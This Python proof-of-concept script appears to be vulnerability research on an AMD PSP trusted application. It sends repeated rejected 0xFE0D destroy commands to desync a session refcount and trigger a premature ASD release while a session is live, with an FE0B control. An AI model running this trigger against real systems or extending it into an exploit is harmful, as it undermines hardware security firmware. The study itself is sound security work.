#!/usr/bin/env python3
"""GCP cmd 0xFE0D decrements the shared session refcount on a REJECTED handle.

Static finding (IDA, instruction level):

  FE0D DestroyCryptoSession            FE0B DestroyAuthenticatedSession
    CMP R2, R0                           CMP R2, R0
    ITTE EQ                              BNE  -> error path, no decrement
      MOVEQ R4,#0                        ...
      STREQ [R1,#0x820],R4               STR  [R1,#0x318], 0     (success only)
      MOVNE R4,#0x100                    LDR  R0,[R4,#0x1E00]    (success only)
    LDR R0,[R5,#0x1E00]   <-- reached    SUBS R0,#1
    SUBS R0,#1                on BOTH    STR  R0,[R1]
    STR R0,[R1]               paths

`0x1E00` = 7680 is the context-wide session refcount that AllocateDRMSession /
CreateAuthenticatedSession / CreateCryptoSession increment and the destroys decrement.
When it reaches 0 the handler calls ASD via `gcp_asd_rpc_305(2)` -- the release side of the
`305(1)` acquire done on first allocation.

So a host can call FE0D with an invalid handle repeatedly: each call returns an error
(0x100) yet still decrements the refcount, driving it to 0 while sessions are live and
triggering the ASD-side release early. That is a refcount desync / premature-release
lifetime bug, not a bounds bug.

This probe looks for the observable consequence. `CBZ` prevents going below zero, so the
signature is: after enough rejected FE0D calls, a call takes the refcount==0 path and
invokes `asd_rpc_305(2)`, which can change the returned status (a failure is OR'd with
0x20000000). We also create a real crypto session first so that a live session exists
while the count is driven down.

Controls:
  * FE0B with an equally invalid handle must NOT change behaviour (it branches away before
    the decrement) -- this is the sibling-comparison that makes the result specific.
  * a no-op command (cmd 1 with a bad param) between runs, to show status changes track
    FE0D calls rather than invoke traffic generally.

usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad gcp_fe0d_refcount_probe.py --apply
"""
import argparse
import os
import struct
import subprocess
import sys

BOGUS = 0x01234567          # >>30 == 0 so it passes the range guard; HIBYTE=1 -> slot 1
BOGUS_B = 0x01234567        # same shape for FE0B (>>28 == 0 -> slot 1)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--apply', action='store_true')
    ap.add_argument('--gcp', default='/root/psp/contall/ta_22-0-4-50_81b082b4.bin')
    ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin')
    ap.add_argument('--rounds', type=int, default=12)
    args = ap.parse_args()
    if not args.apply:
        print('dry run')
        return 0

    from tinygrad import Device
    import tinygrad.runtime.autogen.am.am as am

    adev = Device["AMD"].iface.dev_impl
    psp = adev.psp

    def alloc(n):
        pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
        return pa, adev.paddr2mc(pa)

    app_pa, app_mc = alloc(0x80000)
    shm_pa, shm_mc = alloc(0x8000)

    def load(blob):
        n = (len(blob) + 3) & ~3
        adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob))
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA)
        t = c.cmd.cmd_load_ta
        t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
        t.app_len = len(blob)
        t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32
        t.cmd_buf_len = 0x8000
        try:
            r = psp._ring_submit(c)
            return r.resp.status & 0xFFFFFFFF, r.resp.session_id
        except Exception as e:
            try:
                return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None
            except Exception:
                return -1, None

    def unload(sid):
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
        c.cmd.cmd_unload_ta.session_id = sid
        try:
            return psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception:
            return -1

    def invoke(sid, cmd, handle=None, extra=None):
        buf = bytearray(0x1000)
        struct.pack_into('<I', buf, 0, cmd)
        if handle is not None:
            struct.pack_into('<I', buf, 0x10, handle)
        if extra:
            for off, val in extra.items():
                struct.pack_into('<I', buf, off, val)
        adev.vram.view(shm_pa, len(buf))[:] = bytes(buf)
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
        iv = c.cmd.cmd_invoke_cmd
        iv.session_id, iv.ta_cmd_id = sid, cmd
        try:
            st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception as e:
            try:
                st = int(str(e).strip().split()[-1]) & 0xFFFFFFFF
            except Exception:
                st = -1
        adev.gmc.flush_hdp()
        out = bytes(adev.vram.view(shm_pa, 0x20)[:])
        # GCP writes its per-command status into the page
        return st, struct.unpack_from('<I', out, 8)[0]

    # warm-up load (some TAs are refused as the first LOAD_TA after reset)
    tab = args.ta_bin
    if not os.path.exists(tab) and os.path.exists(tab + '.zst'):
        subprocess.run(['zstd', '-d', '-f', '-o', '/tmp/ta.bin', tab + '.zst'],
                       check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        tab = '/tmp/ta.bin'
    d = open(tab, 'rb').read()
    m = d.find(b'$PS1')
    n = struct.unpack_from('<I', d, m - 0x10 + 0x14)[0]
    _, wsid = load(d[m - 0x10:m - 0x10 + 0x200 + n])
    if wsid is not None:
        unload(wsid)

    st, sid = load(open(args.gcp, 'rb').read())
    print('GCP load %#x sid=%s' % (st, sid))
    if st != 0:
        return 1
    try:
        print('\ncreate a real crypto session (FE0C) so a LIVE session exists:')
        s, r = invoke(sid, 0xFE0C)
        print('   FE0C -> psp=%#x gcp_status=%#x' % (s, r))

        print('\nFE0D with an INVALID handle %#x, repeated (each should error yet still '
              'decrement):' % BOGUS)
        for i in range(args.rounds):
            s, r = invoke(sid, 0xFE0D, handle=BOGUS)
            print('   round %-2d FE0D -> psp=%#x gcp_status=%#-10x %s'
                  % (i, s, r, '<-- CHANGED' if r not in (0x100,) else ''))

        print('\ncontrol: FE0B with an equally invalid handle (decrement is skipped there):')
        for i in range(4):
            s, r = invoke(sid, 0xFE0B, handle=BOGUS_B)
            print('   round %-2d FE0B -> psp=%#x gcp_status=%#x' % (i, s, r))

        print('\nafter the campaign, does a real create still work?')
        s, r = invoke(sid, 0xFE0C)
        print('   FE0C -> psp=%#x gcp_status=%#x' % (s, r))
    finally:
        unload(sid)
        print('GCP unloaded')
    return 0


if __name__ == '__main__':
    raise SystemExit(main())